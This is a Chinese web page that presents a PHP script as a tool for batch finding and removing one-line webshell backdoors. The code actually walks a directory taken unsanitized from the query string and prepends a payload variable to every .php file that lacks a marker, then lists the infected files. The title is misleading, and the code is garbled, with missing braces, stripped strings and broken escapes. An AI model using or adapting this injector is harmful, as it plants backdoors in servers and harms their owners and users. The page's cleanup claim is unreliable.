栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > PHP

用php实现批量查询清除一句话后门的代码

PHP 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

用php实现批量查询清除一句话后门的代码

总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\','/',dirname(__FILE__)); 
echo "".$dir.""; 
} else { 
$dir=$_GET['dir']; 
echo "".$dir.""; 

$evilcode=""; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 

 
 
 
被X的文件 
时间 
大小 
 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg(".php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "n"; 
echo "$filen"; 
echo " $lastsaven"; 
echo " $size Bytesn"; 



@closedir($dirs); 
?> 
 
codz by xuanmumu 
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/53359.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号